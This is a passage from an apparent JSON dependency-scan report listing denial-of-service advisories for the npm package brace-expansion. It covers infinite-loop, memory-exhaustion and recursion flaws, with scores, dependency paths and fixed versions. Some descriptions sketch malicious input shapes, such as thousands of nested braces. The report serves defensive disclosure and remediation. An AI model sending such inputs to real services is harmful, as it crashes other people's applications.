Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
